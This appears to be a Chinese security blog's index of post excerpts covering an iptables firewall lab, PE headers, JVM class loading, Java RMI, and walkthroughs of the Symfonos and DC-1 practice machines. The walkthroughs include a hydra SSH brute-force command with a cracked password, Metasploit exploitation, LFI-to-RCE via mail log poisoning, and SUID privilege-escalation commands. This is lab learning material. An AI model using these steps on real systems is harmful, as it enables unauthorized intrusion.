SeedLab之firewall
FirewallTask 1: Using FirewallLinux有一个叫做iptables的工具,它本质上是防火墙。 在此任务中,目标是使用iptables设置一些防火墙策略,并在策略生效后观察系统的行为。
Prevent A from doing telnet to Machine B.本项实验需要用iptables实现阻挡机器A用telnet 连接机器B,命令如下,在机器A上阻止目的ip是机器B且端口是23的数据包发出。
1sudo iptables -A OUTPUT -d 192.168.164.130 -p tcp --dport 23 -j DROP
如下图,可以看到,连接不能成功
Prevent B from doing telnet to Machine A.本项实验需要用iptables实现阻挡机器B用telnet 连接机器A,命令如下,在机器A上阻止来源IP是机器A且端口是23的数据包进入。
1sudo iptables -A INPUT -s 192.168.164.130 -p tcp --dport 23 -j DROP
如下图,可以看到,连接 ...
PE文件与功能
PE头DOS头64个字节
DOS-stub
PE头Signature
FileHeader字段1234567891011121314151617typedef struct _IMAGE_FILE_HEADER {WORD Machine;//运行平台WORD NumberOfSections;//文件的区块数目DWORD TimeDateStamp;//文件创建的用时间戳标识的日期DWORD PointerToSymbolTable;//指向符号表(用于调试)DWORD NumberOfSymbols;//符号表中符号的个数WORD SizeOfOptionalHeader;//IMAGE_OPTIONAL_HEADER32结构大小WORD Characteristics;//文件属性} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
OptionalHeader123456789101112131415161718192021222324252627282930313233typedef struct _IMAGE_OPTI ...
Java虚拟机之类加载机制
验证文件格式验证这阶段的验证是基于二进制字节流进行的,只有通过了这个验证,这段字节流才允许进入Java虚拟机内存的方法区中进行存储。
元数据验证对字节码描述的信息进行语义分析,主要是对类的元数据信息进行语义校验。
字节码验证主要目的是通过数据流分析和控制流分析,确定语义是合法的、符合逻辑的。
这个阶段对类的方法体(即Class文件的code属性)进行校验分析。
JDK6以后,Javac编译器和Java虚拟进行了联合优化,尽可能多的校验辅助措施挪到了Javac编译器进行。
具体表现是Code属性中多了一个StackMapTable的新属性。
符号引用验证发生在虚拟机将符号引用转化为直接引用的时候,这个转化将在连接的第三阶段,即解析阶段完成的。
准备准备阶段是正式为类中定义的变量(static)分配内存并设置变量初始值的阶段。
解析解析阶段是虚拟机将常量池内的符号引用替换为直接引用的过程
Java之RMI简单总结
概念 **RMI: 远程方法调用(Remote Method Invocation)**,它支持存储于不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。
Java RMI: 用于不同虚拟机之间的通信,这些虚拟机可以在不同的主机上、也可以在同一个主机上;一个虚拟机中的对象调用另一个虚拟上中的对象的方法,只不过是允许被远程调用的对象要通过一些标志加以标识。
Java使用一种序列化的方式来实现远程调用。
原理首先了解一下RMI的交互图,RMI主要由三部分组成,即RMI Client、RMI Service、RMI Registry
首先,先启动rmiregistry服务,启动时可以指定服务监听的端口,也可以使用默认的端口(1099)。
其次,server端在本地先实例化一个提供服务的实现类,然后通过RMI提供的aming/Context/Registry(等类的bind或rebind方法将刚才实例化好的实现类注册到rmiregistry上并对外暴露一个名称。
最后,client端通过本地的接口和一个已知的名称(即rmiregistr ...
Java安全初步
之前一直没有系统的对Javaweb的安全做一个系统的学习和总结,主要原因也是没有怎么熟悉Javaweb的开发细节,在学习了一段时间的Javaweb之后,决定开始就Javaweb代码层面的安全做以学习和总结。
Symfonos3-shellshock
日常靶机
主机开了21,22,80端口,然后用dirb扫一下目录看看
扫出了cgi-bin,接着扫,在cgi-bin目录下扫到了一个underworld目录
访问
显然这个页面的显示是uptime命令的回显结果
这里是一个shellshock的漏洞,直接用MSF的EXP一把梭
拿到shell之后,考虑提权
先用linPEAS脚本跑一下
然后可以找到tcpdump的cap
下载工具pyps
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64\
pspy是一种命令行工具,旨在无需root权限即可监听进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。 该工具从procfs扫描中收集信息。放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。
ftp协议是明文传输的,如果能抓到ftp的包,那就可以得到账号密码了。那么使用什么工具抓包 ...
Symfonos2:啊这啊这
日常靶机
照常扫扫
139端口和445端口开着,先连上共享文件
整出来一个log.txt文件
审计这个日志,发现用户名是aeolus
然后没有其他信息的情况下,试试爆破ssh
hydra -l aeolus -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.40.156
爆出来密码sergioteamo
然后连上
上去用nmap扫自己,扫出了好东西
看看这个8080端口,只允许本地访问,这个好办,直接端口转发
ssh -L 8080:127.0.0.1:8080 aeolus@192.168.11.129
然后访问一下
是个叫做librenms的站,MSF搜到exp,直接一把梭拿到shell
然后MySQL提权成root
拿到final flag
Symfonos:SMTP与LFI
日常靶机
扫出靶机IP
然后用nmap来获取主机信息
可以看到,主机开启了25端口的SMTP服务
于是直接连接上共享
smb://192.168.40.155
然后打开不需要密码的目录
这里基本上给了信息,用这几个密码尝试连接helios目录,发现qwerty可以
访问h3l105,发现了一个wordpress搭建的站点
点击链接会跳转到http://symfonos.local,所以在本机的hosts里面加上这个IP和域名的映射
因为是WP搭的站,直接用wpscan扫一下
wpscan –url http://symfonos.local/h3l105
扫到了两个插件
然后去searchsploit试试,扫出来两个洞,其中有个本地文件包含
然后根据给定的poc去尝试漏洞
那么联系到之前扫到的25端口的smtp服务,可以试图通过邮件污染的方法进行RCE
发送一个有问题的邮件,然后弹一个shell过来
[http://192.168.40.155/h3l105/wp-content/plugins/mail-masta/inc/campaign/cou ...
DC-1:SUID提权初体验
日常靶机
靶机开启,直接arp-san -l
扫到IP之后nmap扫着看看
可以看到开启了22,80端口,用工具可以看到CMS为drupal
直接启动MSF
service postgressql start
msfdb init
msfconsole
打进去了,然后通过python拿到shell
翻翻找找,在home目录里面拿到了一个hint
find提权根据这句提示,我们可以想到通过SUID的可执行文件来提权
以下几个命令可以用来找到系统中运行的SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 2> /dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
有find,好办了,直接利用find执行命令
提权成功,可以在root目录里面拿flag了
当然,这种玩法没有拿到所有flag,我们继续
打数据 ...